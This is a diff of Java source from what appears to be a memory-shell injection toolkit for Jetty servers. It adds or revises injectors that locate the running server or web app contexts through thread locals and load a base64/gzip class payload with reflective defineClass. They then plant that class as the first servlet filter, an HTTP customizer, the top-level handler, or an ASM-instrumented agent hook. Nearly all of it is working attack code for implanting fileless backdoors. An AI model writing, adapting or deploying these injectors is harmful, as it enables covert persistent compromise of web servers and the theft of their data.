throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+220
@@ -0,0 +1,220 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class JettyCustomizerInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public JettyCustomizerInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Object channel = null;
|
||||||
|
try {
|
||||||
|
channel = getChannel();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "channel error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (channel == null) {
|
||||||
|
msg += "channel not found";
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
msg += ("channel: [" + channel + "] ");
|
||||||
|
Object shell = getShell(channel);
|
||||||
|
inject(channel, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object channel, Object shell) throws Exception {
|
||||||
|
Object httpConfiguration = invokeMethod(channel, "getHttpConfiguration");
|
||||||
|
List<Object> customizers = (List<Object>) invokeMethod(httpConfiguration, "getCustomizers");
|
||||||
|
for (Object customizer : customizers) {
|
||||||
|
if (customizer.getClass().getName().equals(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
customizers.add(shell);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.eclipse.jetty.server.HttpChannel
|
||||||
|
*/
|
||||||
|
private Object getChannel() throws Exception {
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||||
|
for (int i = 0; i < Array.getLength(table); i++) {
|
||||||
|
Object entry = Array.get(table, i);
|
||||||
|
if (entry != null) {
|
||||||
|
Object threadLocalValue = getFieldValue(entry, "value");
|
||||||
|
if (threadLocalValue != null) {
|
||||||
|
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
|
||||||
|
return getFieldValue(threadLocalValue, "_channel");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
throw e;
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+80
-26
@@ -3,8 +3,10 @@ package com.reajason.javaweb.memshell.injector.jetty;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -17,17 +19,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
|
|
||||||
public class JettyFilterInjector {
|
public class JettyFilterInjector {
|
||||||
|
|
||||||
public JettyFilterInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object filter = getShell(context);
|
|
||||||
inject(context, filter);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -41,13 +34,55 @@ public class JettyFilterInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject(Object context, Object filter) throws Exception {
|
public JettyFilterInjector() {
|
||||||
Object servletHandler = getFieldValue(context, "_servletHandler");
|
if (ok) {
|
||||||
if (servletHandler == null) {
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object context, Object filter) throws Exception {
|
||||||
|
Object servletHandler = getFieldValue(context, "_servletHandler");
|
||||||
|
|
||||||
if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
System.out.println("filter is already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -56,6 +91,7 @@ public class JettyFilterInjector {
|
|||||||
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
||||||
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
||||||
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
||||||
|
"org.eclipse.jetty.ee11.servlet.FilterHolder",
|
||||||
"org.mortbay.jetty.servlet.FilterHolder",
|
"org.mortbay.jetty.servlet.FilterHolder",
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -78,7 +114,6 @@ public class JettyFilterInjector {
|
|||||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
||||||
moveFilterToFirst(servletHandler);
|
moveFilterToFirst(servletHandler);
|
||||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||||
System.out.println("filter added successfully");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
||||||
@@ -102,7 +137,6 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
} else if (filterMaps instanceof ArrayList) {
|
} else if (filterMaps instanceof ArrayList) {
|
||||||
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
||||||
filterLength = filterList.size();
|
|
||||||
for (Object filter : filterList) {
|
for (Object filter : filterList) {
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
String filterName = (String) getFieldValue(filter, "_filterName");
|
||||||
if (filterName.equals(getClassName())) {
|
if (filterName.equals(getClassName())) {
|
||||||
@@ -113,11 +147,14 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
filterList.clear();
|
filterList.clear();
|
||||||
filterList.addAll(reorderedFilters);
|
filterList.addAll(reorderedFilters);
|
||||||
} else {
|
|
||||||
throw new IllegalArgumentException("filterMaps must be either an array or an ArrayList");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* org.mortbay.jetty.webapp.WebAppContext
|
* org.mortbay.jetty.webapp.WebAppContext
|
||||||
* org.eclipse.jetty.webapp.WebAppContext
|
* org.eclipse.jetty.webapp.WebAppContext
|
||||||
@@ -125,8 +162,8 @@ public class JettyFilterInjector {
|
|||||||
* org.eclipse.jetty.ee9.webapp.WebAppContext
|
* org.eclipse.jetty.ee9.webapp.WebAppContext
|
||||||
* org.eclipse.jetty.ee10.webapp.WebAppContext
|
* org.eclipse.jetty.ee10.webapp.WebAppContext
|
||||||
*/
|
*/
|
||||||
private List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
@@ -165,16 +202,18 @@ public class JettyFilterInjector {
|
|||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -223,7 +262,7 @@ public class JettyFilterInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
@@ -257,4 +296,19 @@ public class JettyFilterInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+8
-17
@@ -21,9 +21,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
|||||||
"org/eclipse/jetty/ee8/servlet/ServletHandler",
|
"org/eclipse/jetty/ee8/servlet/ServletHandler",
|
||||||
"org/eclipse/jetty/ee9/servlet/ServletHandler",
|
"org/eclipse/jetty/ee9/servlet/ServletHandler",
|
||||||
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
|
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
|
||||||
|
"org/eclipse/jetty/ee11/servlet/ServletHandler$Chain",
|
||||||
"org/mortbay/jetty/servlet/ServletHandler"
|
"org/mortbay/jetty/servlet/ServletHandler"
|
||||||
);
|
);
|
||||||
private static String targetMethodName = "doHandle";
|
|
||||||
|
|
||||||
public static String getClassName() {
|
public static String getClassName() {
|
||||||
return "{{advisorName}}";
|
return "{{advisorName}}";
|
||||||
@@ -48,14 +48,7 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
|||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
for (String targetClass : TARGET_CLASSES) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
if (targetClass.replace("/", ".").equals(name)) {
|
if (targetClass.replace("/", ".").equals(name)) {
|
||||||
if (name.contains("mortbay")) {
|
|
||||||
targetMethodName = "handle";
|
|
||||||
}
|
|
||||||
if (name.contains("ee10")) {
|
|
||||||
targetMethodName = "doFilter";
|
|
||||||
}
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
System.out.println("MemShell Agent is working at " + name + "." + targetMethodName);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -66,10 +59,11 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
|||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
if (TARGET_CLASSES.contains(className)) {
|
if (TARGET_CLASSES.contains(className)) {
|
||||||
|
String targetMethodName = "doHandle";
|
||||||
if (className.contains("mortbay")) {
|
if (className.contains("mortbay")) {
|
||||||
targetMethodName = "handle";
|
targetMethodName = "handle";
|
||||||
}
|
}
|
||||||
if (className.contains("ee10")) {
|
if (className.contains("ee10") || className.contains("ee11")) {
|
||||||
targetMethodName = "doFilter";
|
targetMethodName = "doFilter";
|
||||||
}
|
}
|
||||||
defineTargetClass(loader);
|
defineTargetClass(loader);
|
||||||
@@ -81,8 +75,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
|||||||
return loader;
|
return loader;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw, targetMethodName);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + targetMethodName);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
@@ -92,19 +87,15 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
public static ClassVisitor getClassVisitor(ClassVisitor cv, String targetMethodName) {
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
@Override
|
@Override
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (targetMethodName.equals(name)) {
|
if (targetMethodName.equals(name)) {
|
||||||
try {
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
|
|||||||
+254
@@ -0,0 +1,254 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
|
||||||
|
public class JettyHandlerInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public JettyHandlerInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Object server = null;
|
||||||
|
try {
|
||||||
|
server = getServer();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "server error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (server == null) {
|
||||||
|
msg += "server not found";
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
msg += ("server: [" + server + "] ");
|
||||||
|
Object shell = getShell(server);
|
||||||
|
inject(server, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object server, Object handler) throws Exception {
|
||||||
|
Object nextHandler = getFieldValue(server, "_handler");
|
||||||
|
if (handler.getClass().isAssignableFrom(nextHandler.getClass())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
validateHandler(handler);
|
||||||
|
setFieldValue(handler, "nextHandler", nextHandler);
|
||||||
|
setFieldValue(handler, "_server", server);
|
||||||
|
|
||||||
|
setFieldValue(server, "_handler", handler);
|
||||||
|
|
||||||
|
// jetty6
|
||||||
|
try {
|
||||||
|
invokeMethod(invokeMethod(server, "getContainer"), "addBean", new Class[]{Object.class}, new Object[]{handler});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
// jetty 7/8/9/10/11/12
|
||||||
|
try {
|
||||||
|
invokeMethod(server, "addBean", new Class[]{Object.class, boolean.class}, new Object[]{handler, true});
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void validateHandler(Object shell) throws Exception {
|
||||||
|
Class<?> handlerClass = shell.getClass().getSuperclass();
|
||||||
|
Method rightHandleMethod = null;
|
||||||
|
for (Method method : handlerClass.getMethods()) {
|
||||||
|
if (method.getName().equals("handle")) {
|
||||||
|
rightHandleMethod = method;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
shell.getClass().getMethod(
|
||||||
|
"handle",
|
||||||
|
rightHandleMethod.getParameterTypes()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.eclipse.jetty.server.Server
|
||||||
|
*/
|
||||||
|
private Object getServer() throws Exception {
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||||
|
for (int i = 0; i < Array.getLength(table); i++) {
|
||||||
|
Object entry = Array.get(table, i);
|
||||||
|
if (entry != null) {
|
||||||
|
Object threadLocalValue = getFieldValue(entry, "value");
|
||||||
|
if (threadLocalValue != null) {
|
||||||
|
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
|
||||||
|
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
